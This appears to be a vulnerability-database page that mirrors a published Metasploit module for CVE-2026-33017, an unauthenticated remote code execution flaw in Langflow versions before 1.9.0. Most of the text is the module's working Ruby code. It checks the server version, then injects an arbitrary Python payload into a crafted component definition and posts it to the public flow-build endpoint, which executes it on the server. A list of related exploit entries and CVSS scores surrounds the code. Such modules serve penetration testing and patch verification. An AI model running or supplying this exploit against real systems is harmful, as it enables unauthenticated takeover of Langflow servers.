📄 Langflow Remote Code Execution
🗓️ 11 Aug 2026 00:00:00Reported by Richard Howe, DiamorphineType
packetstorm🔗 packetstorm.news👁 12 Views
| Reporter | Title | Published | Views | Family All 56 |
|---|---|---|---|---|
| Exploit for Command Injection in Paloaltonetworks Pan-Os | 30 Mar 202613:39 | – | githubexploit | |
| Exploit for Code Injection in Langflow | 22 May 202622:01 | – | githubexploit | |
| Exploit for Eval Injection in Langflow | 16 Jul 202617:13 | – | githubexploit | |
| Exploit for Code Injection in Langflow | 13 Apr 202618:33 | – | githubexploit | |
| Exploit for Code Injection in Langflow | 20 Apr 202614:54 | – | githubexploit | |
| Exploit for Eval Injection in Langflow | 4 Jul 202621:54 | – | githubexploit | |
| Exploit for Eval Injection in Langflow | 2 Jul 202609:47 | – | githubexploit | |
| Exploit for Eval Injection in Langflow | 13 Aug 202614:06 | – | githubexploit | |
| Exploit for Eval Injection in Langflow | 4 Jul 202611:27 | – | githubexploit | |
| Exploit for CVE-2026-33017 | 21 Mar 202617:06 | – | githubexploit |
10
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Langflow Unauth RCE',
'Description' => %q{
Langflow versions prior to 1.9.0 are susceptible to unauthenticated remote code execution through the
/api/v1/build_public_tmp/<flow_id>/flow endpoint. A remote and unauthenticated attacker can send crafted
HTTP requests to execute arbitrary code.
},
'Author' => [
'Richard Howe <rhowe425>', # Metasploit module
'Diamorphine' # Discovered vulnerability
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-33017'],
['EDB', '52627'],
['URL', 'https://medium.com/@aviral23/cve-2026-33017-how-i-found-an-unauthenticated-rce-in-langflow-by-reading-the-code-they-already-dc96cdce5896']
],
'Targets' => [
[
'Python payload',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON
}
]
],
'DefaultTarget' => 0,
'Payload' => {
'BadChars' => '"'
},
'DisclosureDate' => '2026-03-20',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('FLOW_ID', [true, 'Public Langflow flow UUID', nil]),
Opt::RPORT(7860)
]
)
end
def check
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/v1/version')
}
)
return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200
doc = res.get_json_document
package = doc.is_a?(Hash) ? doc['package'] : nil
version_str = doc.is_a?(Hash) ? doc['version'] : nil
return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str
return Exploit::CheckCode::Unknown('Failed to identify application.') unless package
return Exploit::CheckCode::Safe('Application is not Langflow.') unless package.to_s.downcase == 'langflow'
begin
version = Rex::Version.new(version_str)
rescue StandardError
return Exploit::CheckCode::Unknown('Failed to parse version.')
end
if version < Rex::Version.new('1.9.0')
Exploit::CheckCode::Appears("Version #{version} appears vulnerable.")
else
Exploit::CheckCode::Safe("Version #{version} is not vulnerable.")
end
end
def exploit
flow_id = datastore['FLOW_ID']
fail_with(Failure::BadConfig, 'FLOW_ID is required.') unless flow_id
# Randomize component identifiers
node_id = Rex::Text.rand_text_alpha(8)
component_display_name = Rex::Text.rand_text_alpha(5)
component_name = "Exploit#{Rex::Text.rand_text_alpha(5)}"
output_display_name = Rex::Text.rand_text_alpha(5)
output_name = Rex::Text.rand_text_alpha(5).downcase
output_method = Rex::Text.rand_text_alpha(5).downcase
# The payload is executed within the output method so it runs when the
# component vertex is invoked; the class definition allows Langflow to
# resolve the component vertex.
injected_code = "from lfx.custom.custom_component.component import Component\n" \
"from lfx.io import Output\n" \
"from lfx.schema.data import Data\n" \
"\n" \
"class #{component_name}(Component):\n" \
" display_name='#{component_display_name}'\n" \
" outputs=[Output(display_name='#{output_display_name}',name='#{output_name}',method='#{output_method}')]\n" \
" def #{output_method}(self)->Data:\n" \
" #{payload.encode.gsub("\n", "\n ")}\n" \
" return Data(data={})\n"
data = {
'data' => {
'nodes' => [
{
'id' => node_id,
'type' => 'genericNode',
'position' => {
'x' => 0,
'y' => 0
},
'data' => {
'id' => node_id,
'type' => component_name,
'node' => {
'template' => {
'code' => {
'type' => 'code',
'required' => true,
'show' => true,
'multiline' => true,
'value' => injected_code,
'name' => 'code',
'password' => false,
'advanced' => false,
'dynamic' => false
},
'_type' => 'Component'
},
'description' => component_display_name,
'base_classes' => ['Data'],
'display_name' => component_name,
'name' => component_name,
'frozen' => false,
'outputs' => [
{
'types' => ['Data'],
'selected' => 'Data',
'name' => output_name,
'display_name' => output_display_name,
'method' => output_method,
'value' => '__UNDEFINED__',
'cache' => true,
'allows_loop' => false,
'tool_mode' => false,
'hidden' => nil,
'required_inputs' => nil,
'group_outputs' => false
}
],
'field_order' => ['code'],
'beta' => false,
'edited' => false
}
}
}
],
'edges' => []
},
'inputs' => nil
}
res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "api/v1/build_public_tmp/#{flow_id}/flow"),
'headers' => {
'Content-Type' => 'application/json'
},
'cookie' => "client_id=#{Rex::Text.rand_text_alpha(8)}",
'data' => data.to_json
}
)
fail_with(Failure::UnexpectedReply, 'Unexpected server reply.') unless res
unless res.code.between?(200, 299)
fail_with(Failure::UnexpectedReply, "Unexpected server reply (HTTP #{res.code}).")
end
print_status('Payload sent successfully.')
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Aug 2026 00:00Current
9.9High risk
Vulners AI Score9.9
CVSS 3.19.8
CVSS 49.3
EPSS0.96177
SSVC